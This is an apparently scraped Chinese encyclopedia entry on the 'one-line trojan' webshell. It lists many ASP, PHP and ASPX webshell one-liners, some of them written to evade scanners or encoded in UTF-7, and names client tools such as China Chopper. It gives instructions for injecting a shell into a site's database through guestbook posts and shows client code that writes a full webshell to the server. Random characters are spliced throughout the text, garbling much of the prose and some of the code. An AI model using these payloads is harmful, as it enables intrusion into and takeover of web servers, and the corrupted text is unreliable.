折叠 编辑本段 举例说明
黑客在注册信息的电子邮箱或者个人主页等中插入类似如下代码:
<%execute request("valu来自e")%>
其中value是值,所以你可以更改自己的值,前面的request就是获取这个值
<%eval request("value")%>(现在比较多见的,而且字符少,对表单字数有限制的地方特别的庆抓划合护正盾看实用)
当知道了数据库的URL,就可以利用本地一张网页进行连接得到Webshell。(360百科不知道数据库也可以包元宁待,只要知道<%eval re座断课约造台采将差话quest("value")%>这个文件被插入到哪一个ASP文件里面就可以了。)
这就被称为一句话木马,它是基于B/S结构的。
折叠 编辑本段 写法
常用一句话木马
asp一句话木马:
<%execute(re乙证今染会负愿quest("val提离松律系鱼居积ue"))%>
php一句话木马:
<?php @eval($_POST[value]);?>
aspx一句话木马:
<%@ Page Language="Jscript"%>
<%eval(Requ待黄液外下奏哪效est.Item["value"])%>
其他一句挥难村药话木马:
<%eva营东处l request("value")%>
<%execute request("value")%>
<%execut苗走者察传航许承需e(request("value"))%>
<%If 掉岩轴等精属九Request("value")<>"" Then Execute(Request("value"))%>
<%if request ("value")<>""then sess毛ion("value")=re干情换回quest("value"):end if:if session("value")<>"" t还hen execu洋派te session("value")%>
<SCR那宁秋全危面伟从IPT language=VBScript runat="server">execute request("value")</SCRIPT>
<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"],"unsafe");%>
可以躲过雷客图的一句话木马:
<%
set ms = se月鲁关谁状就序期求输rver.Cre座ateObject("MSScriptC杂件宣溶六银味ontrol.ScriptControl.1")
ms.Language="VBScript"
ms.AddObject "Response", Response
ms.AddObject "request", request
ms.ExecuteSta英周石秋tement("ev"&"al(request(""value""))")
%>
不用'<,>'的asp一句话木马:
<script language=VBScript runat=se油rver>execute request("value")</script>
不用双引号的一句话木马:
<%eval request(chr(35))%>
U校张曲略群TF-7编码加密:
<%各@ codepage=65000%><% response.Charset="936″%><%e+j-x+j-e+j-c+j-u+j-t+j-e+j-(+j-r+j-e+j-q+j-u+j-e+j-s+j-t+j-(+j-+ACI-#+ACI)+j-)+j-%>
折叠 编辑本段 客户端
一句话最还情会常用的客户端为:
一句话客户端增强版
中国菜刀
lanker一句话慢脚鲁两序激历客户端
ZV新型PHP一句话木马客户端GUI版
折叠 编辑本段 使用方法
首先,找到数据库是asp格式的网站,然后,以留言板,或者发表文章的地差立未假跑继甚有么互方式,把一句话添加到asp数据库,或者加进as南鲁评服上教足片还宪福p网页.
记住!我们的目的是把一句话<%execute request("value")%>添加到数据库,无论任何方式!
然后打开客户端(就是你电脑上面的那个htm文件),填上加入了一句话的asp文件,或者是asp网页,然后进入此网站服务器较活三放居。
折叠 编辑本段 木马娘电试系普妈原理
首先<SCRIPT RUNAT=S只因细易均ERVER LANGUAGE=保研临自友杨策朝联JAVASCRIPT>是JavaScript脚本的开始标记,其中RUNAT属性的值SERVER表示脚本将在服务器端运行, 后面的eval是始一句话木马的精华部分,使用eval方法的话它里面的字符串将会被执行,这样当脚本在服务器端运行的时候同时也执行了 Request.form('#')远团模时田溶系府+''这句代码,Request.form('#')的作用是读取客户端文件中html标记属性中name值被命名 为#的部分,例如如下摘自一句话客户端的代码:
<textarea name=# cols="80" rows="10">
set iP=server.createObject("Adodb.Stream")
iP.Open
iP.Type=2
iP.C官草就陆察harSet="gb2312"
iP.writetext request("aoyun")
iP.SaveToFile server.mappath("aoyu整告态际nwan.asp"),2
iP.Close
set iP=nothing
response.redirect "aoyunwan.asp"
</text见求料万area>
学过html的朋友应点至血若降克取风急该注意到了在textare飞雷看移再娘火看袁建游a标记中的name属性被赋值为#,也就是服务器端就是要读取其中的代码(使用Request.form('#')),然后执行(使用航著课还渐架溶又注称eval(Request.f冷里益复律留病威劳宗orm('#')+'')方孙直纪敌层),也就是执行了:
set iP=server.createObject("Adodb.Stream")
iP.Open
iP.Type=2
iP.CharSet="gb2312"
iP.writetext 改因request("aoyun")
iP.Sav显语量许等eToFile server.mappath("aoyunwan.asp"),2
iP.Close
set iP=nothing
response.redirect "aoyunwan.asp"
学过asp的朋友应该看的懂,上面代码的意思是首先创建一个流对象ip,然后使用对识想球影象中的writetext方法将 request("aoyun")读取沙过来的内容(就是我们常见的一句话客户端的第二个tex节请穿李块息造政建tarea域中的内容,也就是我们的大马的代码)写入质生无好林资书免紧服务端 的 aoyunwan.asp
文件中,写入结束后使用set iP=nothing 释放对方 然后使用response.redirect "aoyunwan.asp" 转向写入的文件,就是我们最后见的大马了!
折叠 编辑本段 关于错误
的特王客全是称节伤式行服务器错误
经常,当我们在一个asp文件内添加了一句话后,就会出现类型不匹配的错误:
Script error detected at line 1.
Source line:execute request("nettoo")
Description:类型不匹配: 'execute'
解决方法
用"eval"替换掉"execute"服务端,就不会出错了!